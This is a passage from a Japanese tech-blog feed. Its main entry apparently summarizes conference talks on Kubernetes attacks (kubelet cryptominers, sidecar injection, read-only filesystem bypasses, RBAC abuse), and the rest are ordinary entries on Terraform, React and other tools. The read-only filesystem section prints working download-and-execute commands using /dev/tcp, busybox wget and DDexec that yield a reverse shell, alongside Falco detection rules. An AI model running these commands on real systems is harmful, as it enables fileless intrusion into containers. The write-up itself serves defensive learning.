のデフォルトポート (10250) を狙ってネットワークスキャンをかけています。スキャンによって kubelet API を発見した場合、kubelet API にPOSTリクエストを送り、最終的にノード内の全コンテナに対しクリプトマイナーをダウンロードします。詳細は調査レポートを参照いただきたいですが、攻撃コードを見るとどのように攻撃が行われるのかイメージしやすいと思います。この攻撃はアプリコンテナ内でクリプトマイナーを実行するため、早期に発見されてしまう可能性があります。そこでより発見されにくい攻撃手法として、セッション後半では「Sidecar Injection 攻撃」を取り上げています。Sidecar Injection 攻撃 は Microsoft の「Threat Matrix for Kubernetes」で紹介されている攻撃テクニックです。ちなみに MITRE ATT&CK の Containers Matrix にはこのテクニックは含まれていません。Sidecar Injection 攻撃は名前の通り、Pod 内のサイドカーコンテナを標的とします。セッション内で攻撃のサンプルコードが公開されていましたが、Pod 内のサイドカーコンテナのみを選択しクリプトマイナーを実行することを目的としているようでした。個人的にあまりピンと来なかったのは、アプリコンテナではなくサイドカーコンテナを狙うことで本当に攻撃を秘匿できるのか?という点です。サイドカーかはあまり関係ない気がします。そして最後に、これらの攻撃に対するセキュリティ対策について説明しています。Kubernetes セキュリティとして、イメージスキャンアドミッションコントロールランタイムセキュリティの3つのカテゴリを挙げ、実行中のコンテナに対する攻撃にはランタイムセキュリティが有効であると述べています。Falco を取り上げ、今回の攻撃に対する Falco ルールも公開されました。- list: shell_binaries items: [bash, csh, ksh, sh, tcsh, zsh, dash]- macro: shell_procs condition: proc.name in (shell_binaries)- rule: shell_in_container desc: notice shell activity within a container condition: > spawned process and container and shell_procs output: > shell in a container (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline) priority: WARNINGArbitrary Code & File Execution in R/O FS – Am I Write?セッション情報readOnlyRootFilesystem: true が設定されたコンテナにおいて、コンテナ内で攻撃コードを実行するテクニックを3つ紹介しています。Readonly Filesystem では、ファイルの読み込み (Read) と実行 (Execute) はできるが書き込み (Write) ができないという特徴があります。マルウェアを配置したりすることを防止します。ファイルレスマルウェアの攻撃も存在しますが、コンテナ内に curl や wget のようなツールが含まれていなければマルウェアをダウンロードできません。それではセッション内の3つのケースについて見ていきます。ここではすべてを紹介しきれないため、より詳しく知りたい方は動画を見たりツールを調べたりしてみてください。ケース1curl や wget のようなネットワークツールがない場合、どのように攻撃コードのファイルをダウンロードするのでしょうか?/dev/tcp を利用して TCP コネクションを確立し、ファイルをダウンロードしています。ただしダウンロードしたファイルを書き込むことはできないため、メモリ上で直接実行する必要があります。これには DDExec を使い、プロセスをハイジャックすることでファイルレス実行を可能にします。$ function __bindown () { read proto server path <<<$(echo ${1//// }) FILE=/${path// //} HOST-${server//:*} PORT=${server//*:} [[ x\\"$(HOST)\\" == x\\"${PORT}\\" ]] && PORT=8080 exec 3<>/dev/tcp/${HOST]/$PORT echo -en \\"GET ${(FILE) HTTP/1.0\\\\r\\\\nHost: $(HOST)\\\\r\\\\n\\\\r\\\\n\\" >&3 (while read line; do [[ \\"$line\\" == $\'\\\\r\' ]] && break done && cat) <&3 exec 3>&-}$ __bindown http://192.168.88.4:8080/shell.b64 | bash <(__bindown http://192.168.88.4:8080/ddexec.sh)base64 エンコードした攻撃用バイナリと ddexec.sh をそれぞれダウンロードし、ddexec.sh は bash で実行します。ケース2今回はコンテナイメージとして alpine を利用しています (ケース1は nginx でした)。alpine には bash が存在せず、/dev/tcp をそのまま実行することができないため、別の方法でファイルのダウンロードを試みます。curl や wget は存在しませんが、alpine には busybox がインストールされています。ファイルのダウンロードには busybox wget を利用し、ダウンロード先には Readonly RootFS の中でも書き込み可能な tmpfs を選択しています。$ mount | grep shmshm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)バイナリコードを直接実行できる ddsc.sh をダウンロードし、/dev/shm に保存します。noexec でマウントされているためファイルの実行はできませんが、ddsc.sh はシェルスクリプトなので sh から実行可能です。$ dde=$(mktemp -p /dev/shm)$ busybox wget -O - https://raw.githubusercontent.com/arget13/DDexec/main/ddsc.sh > $dde$ code=$(mktemp -p /dev/shm)$ echo \\"6a295899...60f05\\" > $code$ sh $dde -x < $codeケース3ケース2と同じマニフェストから作られた alpine コンテナの環境です。ファイルのダウンロードには引き続き busybox を利用しています。termination-log にファイルを保存し、リンカを利用してファイルを実行します。Kubernetes にはコンテナの終了メッセージを取得する機能があり、取得元ファイルのデフォルトパスが /dev/termination-log となっています。元々終了メッセージを書き込むことを想定したファイルなので、当然ながら書き込み可能です。これを攻撃用ファイルのダウンロード先に利用します。(終了メッセージの詳細は公式ドキュメントを参照ください)$ mount | grep termination-log/dev/vda1 on /dev/termination-log type ext4 (rw,relatime)mount コマンドの結果から、termination-log のマウントには noexec 属性がついていないことがわかります。これによりリンカを利用したファイル実行が可能となります。$ lddmusl libc (x86_64)Version 1.2.4_git20230717Dynamic Program LoaderUsage: /lib/ld-musl-x86_64.so.1 [options] [--] pathnameldd コマンドにより、リンカの使い方は /lib/ld-musl-x86_64.so.1 [実行ファイルのパス] であることがわかりました。あとは攻撃用ファイルをダウンロードして実行するだけです。$ busybox wget -O - https://raw.githubusercontent.com/arget13/DDexec/main/c-shell > /dev/termination-log$ /lib/ld-musl-x86_64.so.1 /dev/termination-logケース1, 2と同様、実行後にはリバースシェルが確立されています。攻撃テクニックの説明は以上となります。seccomp や SELinux の活用termination-log の場所の指定コンテナ内の通信やプロセスの監視seccomp や SELinux は対策としては一般的ですが、termination-log については聞いたことがなく、興味深い内容でした。ただしログの場所を変更できても noexec を付与する方法は見つけられなかったので、有効な対策と言えるかどうかはやや疑問が残りました。ケース2の /dev/shm を利用した攻撃については、検知するための Falco ルールも例示されました。- rule: Execution from /dev/shm desc: This rule detects file execution from the /dev/shm directory, a common tactic for threat actors to stash their readable+writable+(sometimes)executable files. condition: > spawned_process and (proc.exe startswith \\"/dev/shm/\\" or (proc.cwd startswith \\"/dev/shm/\\" and proc.exe startswith \\"./\\" ) or (shell_procs and proc.args startswith \\"-c /dev/shm\\") or (shell_procs and proc.args startswith \\"-i /dev/shm\\") or (shell_procs and proc.args startswith \\"/dev/shm\\") or (proc.args contains \\"/dev/shm\\" or proc.cwd startswith \\"/dev/shm\\") or (proc.cwd startswith \\"/dev/shm/\\" and proc.args startswith \\"./\\" )) and not container.image.repository in (falco_privileged_images, trusted_images) output: \\"File execution detected from /dev/shm (proc.cmdline=%proc.cmdline connection=%fd.name user.name=%user.name user.loginuid=%user.loginuid container.id=%container.id evt.type=%evt.type evt.res=%evt.res proc.pid=%proc.pid proc.cwd=%proc.cwd proc.ppid=%proc.ppid proc.pcmdline=%proc.pcmdline proc.sid=%proc.sid proc.exepath=%proc.exepath user.uid=%user.uid user.loginname=%user.loginname group.gid=%group.gid group.name=%group.name container.name=%container.name image=%container.image.repository)\\" priority: WARNING本セッションは発表者が6月に投稿した記事をもとにしているようなので、併せて読んでいただくと良いかもしれません。また資料中の Pod のマニフェストはそのまま apply するとエラーになるため、ご自身で環境を再現したい方は以下をご利用ください。ケース1:apiVersion: v1kind: Podmetadata: name: method1-podspec: containers: - name: nginx image: nginx:latest securityContext: readOnlyRootFilesystem: true runAsUser: 101 ports: - containerPort: 80 volumeMounts: - mountPath: /var/run name: run - mountPath: /var/cache/nginx name: nginx-cache securityContext: seccompProfile: type: RuntimeDefault volumes: - name: run emptyDir: {} - name: nginx-cache emptyDir: {}ケース2, 3:apiVersion: v1kind: Podmetadata: name: method2-podspec: containers: - name: alpine image: alpine command: - sleep args: - \\"3600\\" securityContext: readOnlyRootFilesystem: true runAsUser: 65534 securityContext: seccompProfile: type: RuntimeDefaultRBACdoors: How Cryptominers Are Exploiting RBAC Misconfigsセッション情報system:anonymous ユーザーに cluster-admin ロールを付与していた場合の攻撃事例を紹介しています。cluster-admin は事前定義された ClusterRole で、クラスタ内のすべてのリソースに対する権限を持っています。system:anonymous は匿名リクエストに対して割り当てられているユーザーです。Kubernetes クラスタに対して認証なしであらゆるリソース操作ができてしまいます。今回の攻撃シナリオは以下の通りです。Kubernetes API Server をスキャンし、設定ミスのあるクラスタを発見DaemonSet としてクリプトマイナー (XMRig) を設置cluster-admin の証明書を作成し、クラスタへの侵害を永続化証明書作成の痕跡を削除興味深い点として、クリプトマイナーを設置する際に ClusterRoleBinding と DaemonSet を作成しますが、リソース名を kube-controller とすることで正規のリソースを偽装しています。運用業務でクラスタ内のリソースを確認したとしても、クリプトマイナーの存在に気づかないかもしれません。リポジトリも kubernetesio/~ のように偽装しています。また今回はCSRを削除していますが、cluster-admin を持っていれば、クラスタ内で行われる検知の回避や防御の無効化も容易にできてしまいます。クラスタとは別のレイヤーで、監査ログの監視などを行う必要があるかもしれません。パブリッククラウドを利用する場合、クラスタ内のセキュリティ対策とクラウド上の監視サービスを併用するのが良さそうです。セッション後半では、取るべきセキュリティ対策について紹介しています。Kubernetes API Server へのアクセスのネットワーク制限--anonymous-auth=false による匿名リクエストを無効化アドミッションコントローラーによる cluster-admin のバインディング禁止検知策として、設定ミスの検知Kubernetes API への攻撃の検知マイニングの検知のそれぞれ3つの対策が挙げられています。設定ミスの対策では、system:anonymous や system:authenticated に付与された権限がないか確認するためのスクリプトが紹介されています。Kubernetes の監査ログを監視することも有効です。Google Cloud の Security Command Center (SCC) には脅威検知の機能がありますが、この機能を利用すれば GKE に対する設定ミスや攻撃を検知できます。(発表者は Google Cloud の方です)マイニングの検知について、IoC (Indicator of Compromise) を利用する方法がセッション内では紹介されています。既知のマルウェアコンテナや悪意のあるバイナリ、攻撃サーバのIPアドレス等と照合することで攻撃を検知します。SCC におけるマイニング検知のベストプラクティスも興味があれば読んでみてください。おわりにいかがだったでしょうか?Kubernetes への攻撃手法を知ることは、(それ自体面白いというのもありますが) リスクベースのセキュリティ対策を検討する上で非常に有用です。このセキュリティ対策はどのような攻撃リスクを軽減してくれるのかこの攻撃が行われた場合、どのセキュリティ対策によって防ぐことができるのかといった観点で考えてみることをお勧めします。Kubernetes クラスタを目指して、皆で取り組んでいきましょう。","isoDate":"2023-12-30T19:07:20.000Z","dateMiliSeconds":1703963240000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"フォームライブラリに依存しないReactコンポーネント設計","link":"https://zenn.dev/kimitsu/articles/clean-react-form-architecture","contentSnippet":"背景React ではフォームライブラリを利用する場合、ナイーブに実装するとフォームの UI とフォームライブラリが密結合になります。これは特定のフォームライブラリに限った話ではなく、React Hook Form, Formik, React Final Form といった主要なフォームライブラリ全てで当てはまる問題です。例えば React Hook Form では、フォーム全体の設定をuseFormで行い、各属性ではregister, Controller, useControllerを使って UI と React Hook Form を接続します。つまりフォームコンポーネ...","isoDate":"2023-12-30T06:07:24.000Z","dateMiliSeconds":1703916444000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"Step Functionsを利用してNAT Gatewayを自動作成/削除する","link":"https://qiita.com/ys1/items/abf8daab19f616b3d854","contentSnippet":"概要本記事ではStep Functionsを利用して、Nat Gatewayを自動で作成/削除する方法について記載します。NAT Gatewayは作成しているだけでコストがかかるリソースであり、…","isoDate":"2023-12-29T15:25:41.000Z","dateMiliSeconds":1703863541000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"パフォーマンスを気にするならReact Hook Formが無難","link":"https://zenn.dev/kimitsu/articles/react-form-library-performance","contentSnippet":"最近、React のフォームライブラリを調査しました。その中でパフォーマンスについての言及は見かけるものの、実際に計測しているものが見当たらなかったので計測してみました。結論としては React Hook Form でなくても良いけど、パフォーマンスを気にするなら React Hook Form を選んでおくのが無難というところに落ち着きました。 要約入力欄 10 個、CPU 6\xd7 slowdown での計測結果ライブラリ1 文字入力した場合の再描画React Hook Form8ms 前後Formik100ms 前後Formik( ReplicaSet> PersistentVolumeClaim> Service> StatefulSet> Node> Pod> Deployment> Ingress> CronJob> ValidatingWebhookConfiguration> MutatingWebhookConfigurationUnused:> HTTPRoute> HorizontalPodAutoScaler...","isoDate":"2023-12-28T08:26:54.000Z","dateMiliSeconds":1703752014000,"authorName":"tozastation","authorId":"tozastation"},{"title":"K8sGPT: 概要","link":"https://zenn.dev/tozastation/articles/737871319fb33b","contentSnippet":"K8sGPT とはIt has SRE experience codified into its analyzers and helps to pull out the most relevant information to enrich it with AI.README.md, k8sgpt, https://github.com/k8sgpt-ai/k8sgptREADME.md の引用ですが、SRE Experience が Analyzerに体系化されており、最も関連性の高い情報を引き出してAIで補完するのに役立つと書かれています。 SRE Experien...","isoDate":"2023-12-28T07:16:37.000Z","dateMiliSeconds":1703747797000,"authorName":"tozastation","authorId":"tozastation"},{"title":"K8sGPT: Overview","link":"https://tozastation.hashnode.dev/k8sgpt-overview","contentSnippet":"What is K8sGPTIt has SRE experience codified into its analyzers and helps to pull out the most relevant information to enrich it with AI.README.md, k8sgpt, https://github.com/k8sgpt-ai/k8sgptSRE Experience & AnalyzersA class called Analyzer is d...","isoDate":"2023-12-28T05:55:08.000Z","dateMiliSeconds":1703742908000,"authorName":"tozastation","authorId":"tozastation"},{"title":"Googleが提供するBIツール「Looker」とは?","link":"https://sreake.com/blog/learn-about-looker/","contentSnippet":"はじめに 2023年10月30日、Googleが提供するBIツール「Looker」が政府認定クラウドサービス(通称 ISMAP) に認定されました。「Looker」が“政府認定クラウドサービス”に Google提供のBI […]The post Googleが提供するBIツール「Looker」とは? first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-12-28T00:11:29.000Z","dateMiliSeconds":1703722289000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Neovimで文法に従ってコードを範囲選択するtreemonkey.nvimを作った","link":"https://blog.atusy.net/2023/12/27/treemonkey-nvim/","contentSnippet":"treemonkey.nvimというプラグインを作りました。treesitterを活用し、カーソル位置に対応するノード(変数とか関数とか)を選択するプラグインです。ノードの開始位置と終了位置に対応するラベルがあるので、自分が選択したい範囲に対応するラベルを選ぶ形式です。","isoDate":"2023-12-27T00:00:00.000Z","dateMiliSeconds":1703635200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Google Cloud 検証環境を頑張りすぎず良い感じに整えた話","link":"https://sreake.com/blog/make-better-google-cloud-verification/","contentSnippet":"はじめに こんにちは!Sreake事業部 横尾(@866mfs)です。 3-shakeでは、社員なら誰でもGoogle Cloud の各種サービスを検証できる、検証環境アカウント(ここでは ”test.org” と表記) […]The post Google Cloud 検証環境を頑張りすぎず良い感じに整えた話 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-12-25T23:43:35.000Z","dateMiliSeconds":1703547815000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetesのソースコードを読む Kubelet編","link":"https://qiita.com/ys1/items/7a455c602424e591fe38","contentSnippet":"起動処理Kubeletの起動処理についてソースコードを追っていき、どんな処理をしているのかみていきたいと思います。読むソースコード: バージョン: v1.27.2https://github.…","isoDate":"2023-12-25T15:06:41.000Z","dateMiliSeconds":1703516801000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"GitHub Actions で cosign を使って keyless 署名する","link":"https://qiita.com/yteraoka/items/db13b1dd94fa9e115676","contentSnippet":"この記事は、3-shake Advent Calendar 2023 24日目のエントリ記事です。Container image が適切な方法で build されたものかどうかを確認するために署名…","isoDate":"2023-12-24T14:16:16.000Z","dateMiliSeconds":1703427376000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Terraformのtfstateについて考える","link":"https://blog.masasuzu.net/entry/2023/12/23/000000","contentSnippet":"この記事は3-shake Advent Calendar 2023の23日目の記事となります。3-shakeのカレンダー | Advent Calendar 2023 - QiitaこちらはSRE Tech Talk #6で話した内容に補足したものです。3-shake SRE Tech Talk #6 - connpass資料はこちらとなります。 tfstateとはtfstateの課題tfstateの管理場所をどうするか問題localS3/Google Cloud StorageGitLabTerraform Cloudtfstateを管理するリソースをどう管理する問題aws/gcloud コマンドterraform + local state 管理CloudFormation / Google Deployment Managertfstateをどう分割するか問題環境分離パターンディレクトリ分離パターンbackend-configパターンworkspace環境分離以外の分割をどうするか問題分割する観点プロバイダーで分割管理権限で分割変更頻度で分割依存の方向性で分割tfstate間のリソース参照まとめtfstateとはTerraformが管理しているリソースの状態を表すjson形式のファイルです。tfstateとterraformファイルと実際のリソースの状態を比較して、terraformコマンドが実行されます。一般的には直接変更せずterraform stateコマンドを通して変更を行い、一般ユーザがtfstateに触れることはないです。参考: Backend Configuration - Configuration Language | Terraform | HashiCorp Developertfstateの課題tfstateについて以下の課題があります。それぞれについて見ていきます。tfstateの管理場所tfstateを管理するリソースの管理tfstateの分割tfstateの管理場所をどうするか問題主な保存場所候補としては以下のものがあります。local(デフォルト)クラウドのオブジェクトストレージS3/Google Cloud StorageGitレポジトリ統合GitLabSaaS利用Terraform CloudlocalTerraformのデフォルト保存先です。Terraformを実行する同じディレクトリのterraform.tfstateに保存されます。1人もしくは変更頻度が著しく低い状況など特殊なとき使えるものとなります。git管理して複数人で使うこともできるが、コンフリクトが発生しうるので、チーム開発には向かないです。基本的には複数人でterraformを使用するときは非推奨です。参考: Backend Type: local | Terraform | HashiCorp DeveloperS3/Google Cloud Storage監理するクラウドのオブジェクトストレージに保存する方法です。これが標準的(当社比)なのかなと思っています。オブジェクトストレージなので、権限があればどこからでもアクセスすることができます。それゆえ、同時にTerraformが実行されるので排他ロックの処理が必要となります。S3バックエンドを使用した場合はDynamoDBを使用してstate lockを実現します。Google Cloud Storageは単体でstate lockをサポートしています。tfstateの参照権限をクラウドのIAMで制御する必要があります。参考: Backend Type: s3 | Terraform | HashiCorp Developer参考: Backend Type: gcs | Terraform | HashiCorp DeveloperGitLabGitLabでtfstateを監理することもできます。tfstateを管理するリソースを管理する必要がないことがメリットとなります。(後述します)開発にGitLabを使っている場合、親和性が高い方法となります。参考: GitLab-managed Terraform state | GitLabTerraform CloudGitLabと同様tfstateを管理するリソースを管理する必要がないというところにメリットがあります。月間500 Managed Rsourcesまで無料で使えます。参考: HashiCorp Terraform: Enterprise Pricing, Packages & Featuresweb上からリソース差分の確認できたり、applyが可能です。SaaSにクラウドのリソース情報を預けることに抵抗がない場合は選択肢としては有望です。なおTerraformのStateのドキュメントではこういう記述があり、Terraform Cloudを推奨しているようです。This state is stored by default in a local file named \\"terraform.tfstate\\", but we recommend storing it in Terraform Cloud to version, encrypt, and securely share it with your team.参考: State | Terraform | HashiCorp Developer昔はAWSと連携するためにIAM Userのアクセスキーを使わないといけなかったが、OIDC認証もできるようになったので、よりやりやすくなったかと思います。参考: Terraform Cloud Adds Dynamic Provider Credentials for Vault and Official Cloud Providers参考: Terraform Cloud | Terraform | HashiCorp Developertfstateを管理するリソースをどう管理する問題GitLabやTerraform Cloudを使う場合には起きない問題となります。S3のようなクラウドのオブジェクトストレージを使用する場合は、このS3バケットをどう作るかということが問題となります。コマンドで作る場合、コマンドの管理、terraformで作る場合はそのtfstateはどこに保存するか、そういったことに頭を悩ませます。そこについて考えていきます。以下の方法が考えられます。aws/gcloudコマンドterraform + local state管理CloudFormationaws/gcloud コマンドそもそも作成コマンドしか打たないのであれば、スクリプトをレポジトリに含めておけば良いという考え方はあります。基本的に一度作れば変えることはないので、これで十分という風に割り切ることはできます。ただし、tfstateのバケットだけでなく、CI/CD用のIAM RoleやOIDC認証リソースなども初期リソースとして含めて管理したいというユースケースだと、スクリプト管理では力不足になりうります。terraform + local state 管理オブジェクトストレージをterraformで作る方法です。ただし、tfstateに関してはlocalに保存し、これをgitも管理します。かたくなにterraformを使いたい人に向けな方法となります。デメリットとしては、tfstateもgit管理するのでコミット忘れがあります。また、頻度低いですがterraform自体はローカルで実行せざるを得ないので変更衝突が起きうることです。CloudFormation / Google Deployment Managerクラウドごとにコードを変えないといけない。IaCツールを2種類使うというそこはかとない気持ち悪さはあるというデメリットはありますが、gitでインフラ状態管理しなくてすむというメリットがあります。気持ち悪さだけを克服できるなら無難な選択肢だとは思います。tfstateをどう分割するか問題第一に考えるのが環境の分離。この分離の仕方だけ他とは系統が違うので独立して説明します。一部差分があるだけで、以下のような形でほぼ同じ構成の環境を作ることはよくあります。開発環境ステージング環境本番環境これらについてどう分割するのかを考えていきます。環境分離パターン大きく2つのパターンを利用することが多いです。それぞれ見ていきます。ディレクトリ分離パターンbackend-configパターンディレクトリ分離パターンこれは環境ごとにディレクトリを分割して、環境ディレクトリを実行単位とします。環境の切り替えはディレクトリ移動することで行います。環境ごとの差分が大きいときに使うことが多いです。デメリットとしては環境ごとにリソース定義をそれぞれ書くので記述量が多くなるというのがあります。そのため、可能な限りモジュール化して、なるべくパラメータだけの差分にするようにします。ディレクトリ構成例としては以下の通りです。.├── envs│ ├── dev│ │ ├── locals.tf│ │ ├── main.tf│ │ ├── outputs.tf│ │ └── variables.tf│ ├── prd│ │ ├── locals.tf│ │ ├── main.tf│ │ ├── outputs.tf│ │ └── variables.tf│ └── stg│ ├── locals.tf│ ├── main.tf│ ├── outputs.tf│ └── variables.tf└── modules ├── vpc │ ├── locals.tf │ ├── main.tf │ ├── outputs.tf │ └── variables.tf ├── application │ ├── locals.tf │ ├── main.tf │ ├── outputs.tf │ └── variables.tfbackend-configパターンbackend-configオプションとvars-fileオプションを組み合わせて、環境を切り替えるパターンです。${ENVDIR}/terraform.tfvars に環境ごとの差分パラメータを定義して、${ENVDIR}/backend.tfvars に環境ごとのtfstate保存先を定義します。terraform init で backend.tfvars を切り替えることで環境の切り替えを行います。環境ごとに差分が少ないときに向いています。差分は terraform.tfvars に記述されているパラメータだけなので、記述量が少なくて済みます。ただし差分が多くなるとcount, for_eachで分岐やループを作ることになり読みにくくなるというものがあります。ディレクトリ構成例としては以下のようになります。.├── envs│ ├── dev│ │ ├── backend.tfvars│ │ └── terraform.tfvars│ ├── prd│ │ ├── backend.tfvars│ │ └── terraform.tfvars│ └── stg│ ├── backend.tfvars│ └── terraform.tfvars├── locals.tf├── main.tf├── modules│ └── vpc│ ├── locals.tf│ ├── main.tf│ ├── outputs.tf│ └── variables.tf├── outputs.tf├── provider.tf└── variables.tf設定ではbackendをs3と指定しておき中身はオプションで指定するようにします。terraform { backend \\"s3\\" {}}以下のようにterraform initするたびに適用する環境を切り替えることができる。terraform init --backend-config=${ENVDIR}/backend.tfvars --reconfigureterraform apply --var-file=${ENVDIR}/terraform.tfvarsworkspaceworkspaceは同じような環境を複製するときに使ういます。シングルテナント環境を量産する場合や開発環境を複数作る場合などに使います。環境を切り替える用途には作られてないとドキュメントまでは記載されています。参考: Managing Workspaces - Terraform CLI | Terraform | HashiCorp DeveloperIn particular, organizations commonly want to create a strong separation between multiple deployments of the same infrastructure serving different development stages or different internal teams. In this case, the backend for each deployment often has different credentials and access controls. CLI workspaces within a working directory use the same backend, so they are not a suitable isolation mechanism for this scenario.自分自身がworkspaceを実運用で使ったことがないので多くは語れないです。別でちゃんと使ってから書きたいと思います。参考: State: Workspaces | Terraform | HashiCorp Developer環境分離以外の分割をどうするか問題小さいサービスでは環境を分離するだけでだいたいは問題ないことがおおいですが、terraformを運用していると運用面、管理面でいろいろ課題が出てくると思います。管理するリソースが増えるとplan/applyの時間が増えたり、リソースの見通しが悪くなったりしてきます。特に実行時間が意外に馬鹿にできなかったりします。下手するとplanに数分かかるようになったりします。そのため、ある程度大きくなったらtrstateを分割して、リソースの管理範囲を分割する必要が出てきます。これをどうやって分割するかが自分の中で答えが出ていない出てないし、分脈によって解決策は異なるとは思います。ここで、解決策を考えるうえで、分割するための観点を見ていきましょう。分割する観点分割する観点は以下のようなものがあるかと思います。プロバイダー管理権限変更頻度プロバイダーで分割プロバイダー単位で分割するパターンです。例としてはAWSとDatadogのようにプロバイダーで分割します。プロバイダー間で依存がない場合は分けやすいかと思います。また、プロバイダー間で管理主体が違うことも多いので素直な分け方だとは思います。しかしながら、アプリケーションリソースとアプリケーションの監視を近いところにおいたほうが見通しがよいのではという観点もあるので運用体制にあわせて考えるとよいでしょう。管理権限で分割チームの権限で分割するパターンです。ただし、より堅くするなら、ディレクトリではなくレポジトリ自体も分割して、コードの参照権限も分割する方が望ましい場合もあります。例ネットワーク ⇒ インフラチームアプリケーション ⇒ 開発チーム変更頻度で分割変更をあまりしないリソースを変更が頻繁なリソースと一緒のplan/applyするのは無駄なので変更の頻度でtfstateを分割するパターンもあります。例変更が少ない ⇒ DB/ネットワーク変更が多い ⇒ EC2/ECS依存の方向性で分割少し観点を変えてみます。実際に分割をした場合に問題となるのはtfstate間のリソースの依存が課題になります。tfstate間で相互に依存するようなコードを書くとtarget指定してそれぞれのstateのリソースを作成しなくてはなりません。こうすると管理が煩雑となってしまうので、原則的に片方向だけの依存になるように分割するようにするのが望ましいです。tfstate間のリソース参照terraform_remote_state を使うことで、参照元のTerraformでoutputした内容を別のTerraformで利用することができます。# 参照元 networkアカウントoutput \\"vpc_id\\" { value = aws_vpc.main.id}# 参照先 applicationアカウント# data.terraform_remote_state.network.vpc_id の形式でVPC IDを参照できるdata \\"terraform_remote_state\\" \\"network\\" { backend = \\"s3\\" config { bucket = \\"terraform-tfstate-network-xxxxx\\" key = \\"tfstate\\" region = \\"ap-northeast-1\\" }}まとめ正直tfstateをどう扱うかに正解はないです。サービス規模や性質によって選択は変わります。本当に小さい規模であれば、tfstateを分割せず一つで十分でしょうし、チーム開発せず一人で扱うなら、通常であれば推奨されないtfstateのlocal git管理という手段がふさわしい場合もあります。また、組織やサービスの成長や時間経過によっても最適な選択は変わると思います。大事なのは選んだ技術要素に関しては選定理由を説明できるようにはしておくということです。選定理由及び不採用理由を明確にしておくことで、変更時に最適な選択の助けになるでしょう。","isoDate":"2023-12-22T15:00:00.000Z","dateMiliSeconds":1703257200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"testcontainers-scala で快適なインテグレーションテストを実現する","link":"https://zenn.dev/nomadblacky/articles/173ea1f829eafa","contentSnippet":"この記事は、3-shake Advent Calendar 2023 の 22 日目の記事です。 はじめに私の所属する株式会社スリーシェイクでは、Reckoner というデータパイプライン構築の SaaS を開発しています。https://reckoner.io/「SaaSをつなぐ。業務が変わる。ビジネスが進化する。」直感的なユーザーインターフェイスで、多種多様な SaaS のデータをつなぎ合わせることで、データ活用・データの民主化を実現します。 課題Reckoner では、データの取得・加工・保存部分を Scala で実装しており、データの連携先として、MySQL ...","isoDate":"2023-12-22T13:07:06.000Z","dateMiliSeconds":1703250426000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"AWS Network Firewall と NAT ゲートウェイの配置","link":"https://zenn.dev/toshikish/articles/d7d15cd01a8584","contentSnippet":"はじめにAWS Network Firewall(以下 NWFW)の導入例を探してアーキテクチャ図を眺めていると,説明されている図によって NAT ゲートウェイ(以下 NATGW)との配置がまちまちであることに気づきます。つまり,プライベート・パブリックサブネットのシンプルな構成の場合,インターネット宛ての通信経路は大別するとプライベートサブネット→ NATGW→ NWFW →インターネットプライベートサブネット→ NWFW → NATGW →インターネットの2種類が存在します。それぞれのアーキテクチャの違いと,どちらを選定すべきかの指針についてまとめます。 1....","isoDate":"2023-12-22T07:17:39.000Z","dateMiliSeconds":1703229459000,"authorName":"toshikish","authorId":"toshikish"},{"title":"社内チャットツールでGemini Proが使えるようになった話","link":"https://sreake.com/blog/gemini-pro-introduction/","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 本記事では、社内チャットツ […]The post 社内チャットツールでGemini Proが使えるようになった話 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-12-21T08:49:07.000Z","dateMiliSeconds":1703148547000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetesに対する理解を高めてKubernetesの「わからない」を減らそう","link":"https://speakerdeck.com/bells17/kubernetesnidui-suruli-jie-wogao-metekubernetesno-wakaranai-wojian-rasou","contentSnippet":"Kubernetes Novice Tokyo #29 で発表したLT資料です\\r\\rイベントURL: https://k8s-novice-jp.connpass.com/event/300438/\\r動画URL: https://www.youtube.com/watch?v=WZHDlB8P9_4\\r\\r参考資料:\\rhttps://github.com/kubernetes/kubernetes/tree/v1.28.4 \\rhttps://github.com/coredns/coredns/tree/v1.11.1 \\rhttps://github.com/coredns/example \\rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin/kubernetes/README.md \\rhttps://github.com/kubernetes/dns/blob/1.22.28/docs/specification.md \\rhttps://github.com/kubernetes/cri-api/blob/v0.28.4/pkg/apis/runtime/v1/api.proto \\rhttps://coredns.io/2017/03/01/how-to-add-plugins-to-coredns/\\rhttps://coredns.io/2016/12/19/writing-plugins-for-coredns/ \\rhttps://github.com/coredns/example \\rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin.md \\r\\rセッション内容の詳しい資料:\\rhttps://bells17.booth.pm/items/3129761\\rhttps://bells17.booth.pm/items/2649601\\rhttps://speakerdeck.com/bells17/implementation-of-kubeadm-init\\rhttps://speakerdeck.com/bells17/kube-api-server-k8sjp\\rhttps://speakerdeck.com/bells17/kube-controller-managerru-men\\rhttps://speakerdeck.com/bells17/kube-proxyru-men\\rhttps://speakerdeck.com/bells17/kubernetestocorednsnituiteli-jie-suru\\rhttps://speakerdeck.com/bells17/cloud-controller-manager-deep-dive\\rhttps://speakerdeck.com/bells17/introduction-to-csi\\rhttps://speakerdeck.com/bells17/kubelet-and-containers\\rhttps://speakerdeck.com/bells17/cri-spec-and-dockershim-implementation","isoDate":"2023-12-21T05:00:00.000Z","dateMiliSeconds":1703134800000,"authorName":"bells17","authorId":"bells17"},{"title":"\uD83D\uDC19 KubernetesのマルチテナントパターンとArgoCDの実践テナント設計","link":"https://speakerdeck.com/hiroki_hasegawa/kubernetesnomarutitenantopatantoargocdnoshi-jian-tenantoshe-ji","contentSnippet":"『Kubernetes Novice 